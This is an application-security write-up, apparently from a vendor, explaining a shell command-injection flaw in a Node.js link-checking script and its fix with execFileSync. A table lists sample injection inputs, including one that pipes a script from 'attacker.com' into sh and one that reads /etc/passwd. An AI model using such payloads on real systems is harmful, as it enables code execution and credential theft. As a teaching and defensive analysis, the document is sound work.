Introduction
The scripts/check-links.js file handles repository validation for a project catalog, querying GitHub's API to check if repositories are archived or disabled. But a flaw in the checkRepo() function created a security risk: on line 22, user-controlled repository names were interpolated directly into a shell command executed via child_process.execSync(). While this script may run in a controlled environment today, the pattern represents an exploit primitive—a code construct that automated attack tools could chain with other weaknesses to achieve remote code execution.
The Vulnerability Explained
The vulnerable code constructed a shell command by embedding the repo parameter directly into a string:
// VULNERABLE CODE (scripts/check-links.js:22)
function checkRepo(repo) {
try {
const cmd = `gh api repos/${repo} --jq '{archived: .archived, disabled: .disabled, full_name: .full_name}'`;
const result = JSON.parse(execSync(cmd, { encoding: 'utf-8', timeout: 15000 }));
// ...
}
}
The Exploit Path
The repo parameter flows from data/projects.json into checkRepo(). An attacker who can modify this data—or exploit another vulnerability to influence the parameter—could inject shell metacharacters:
| Malicious Input | Injected Command Behavior |
|---|---|
foo/bar; whoami |
Executes whoami after the gh command |
foo/bar \| cat /etc/passwd |
Pipes output to cat /etc/passwd |
foo/bar && curl attacker.com/exfil.sh \| sh |
Downloads and executes attacker script |
The gh CLI token in environment variables could be exfiltrated, or the runner could be compromised entirely. Even if projects.json is "trusted," defense in depth demands treating all external data as potentially malicious.
Why This Matters
This vulnerability is particularly insidious because:
- Silent failure: Injection may not crash the script, making detection difficult
- Chaining potential: A seemingly minor XSS or configuration injection elsewhere becomes RCE
- CI/CD exposure: Scripts like this often run in CI pipelines with elevated privileges
The Fix
The remediation replaces execSync() with execFileSync(), fundamentally changing how the command executes:
Before (Vulnerable)
const { execSync } = require('child_process');
// ...
const cmd = `gh api repos/${repo} --jq '{archived: .archived, disabled: .disabled, full_name: .full_name}'`;
const result = JSON.parse(execSync(cmd, { encoding: 'utf-8', timeout: 15000 }));
After (Hardened)
const { execFileSync } = require('child_process');
// ...
const result = JSON.parse(execFileSync('gh', ['api', `repos/${repo}`, '--jq', '{archived: .archived, disabled: .disabled, full_name: .full_name}'], { encoding: 'utf-8', timeout: 15000 }));
Security Improvement
| Aspect | execSync(cmd) |
execFileSync(file, args) |
|---|---|---|
| Shell involved | Yes (spawns /bin/sh -c) |
No (direct executable spawn) |
| Argument parsing | Shell interprets metacharacters | Arguments passed literally |
| Injection surface | Entire command string | Individual array elements |
repo containing ; whoami |
Executes whoami |
Passed as literal argument to gh |
The repos/${repo} segment remains interpolated, but execFileSync() treats it as a single argument to gh, not a shell command. The gh CLI itself may still have parsing vulnerabilities, but the shell injection vector is eliminated.
Prevention & Best Practices
1. Prefer Array-Based APIs
Always use execFile(), execFileSync(), spawn(), or fork() with argument arrays. Reserve exec() and execSync() for true shell scripting needs with no external input.
2. Validate Early, Validate Strictly
If you must accept external input, enforce allowlist patterns:
const VALID_REPO = /^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/;
if (!VALID_REPO.test(repo)) {
throw new Error(`Invalid repository format: ${repo}`);
}
3. Defense in Depth
Combine multiple controls: input validation + safe APIs + least-privilege execution environments.
4. Static Analysis Integration
Tools like Semgrep catch these patterns automatically. The rule javascript.lang.security.detect-child-process.detect-child-process specifically flags dangerous child_process usage.
Standards & References
- OWASP: Command Injection Prevention Cheat Sheet
- CWE-78: OS Command Injection
- Node.js Docs: child_process security considerations
Key Takeaways
- Never use
execSync()with interpolated strings in repository automation scripts—the shell interpretation creates an injection vector even for "internal" data sources execFileSync('gh', [...args])is the correct pattern for GitHub CLI invocations; the executable and arguments must remain separate- Line 22's string construction (
repos/${repo}) was the critical vulnerability point; the fix maintains functionality while removing shell involvement - Exploit primitives matter: Even "unexploitable" patterns today become ammunition for tomorrow's automated attack chains
- Semgrep's
detect-child-processrule correctly identified this pattern atscripts/check-links.js:22before exploitation
How Orbis AppSec Detected This
Source: Function parameter repo in checkRepo(), populated from data/projects.json project entries
Sink: child_process.execSync(cmd, ...) at scripts/check-links.js:22, executing a shell command with interpolated repository name
Missing control: No input validation on repo format; no sanitization of shell metacharacters; use of shell-executing API instead of direct executable spawn
CWE: CWE-78—OS Command Injection
Fix: Replaced execSync() with execFileSync('gh', [...]), passing the gh executable and its arguments as a literal array, eliminating shell interpretation entirely
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The scripts/check-links.js fix demonstrates a fundamental security principle: eliminate the vulnerability class, don't just mitigate symptoms. By switching from execSync() to execFileSync(), the code no longer depends on input validation correctness—it structurally cannot execute injected commands. This proactive hardening, while labeled "defensive" in the PR, removes an exploit primitive that sophisticated attackers increasingly weaponize. For Node.js developers, the lesson is clear: treat child_process.exec*() with extreme caution, and default to array-based APIs for all external process invocation.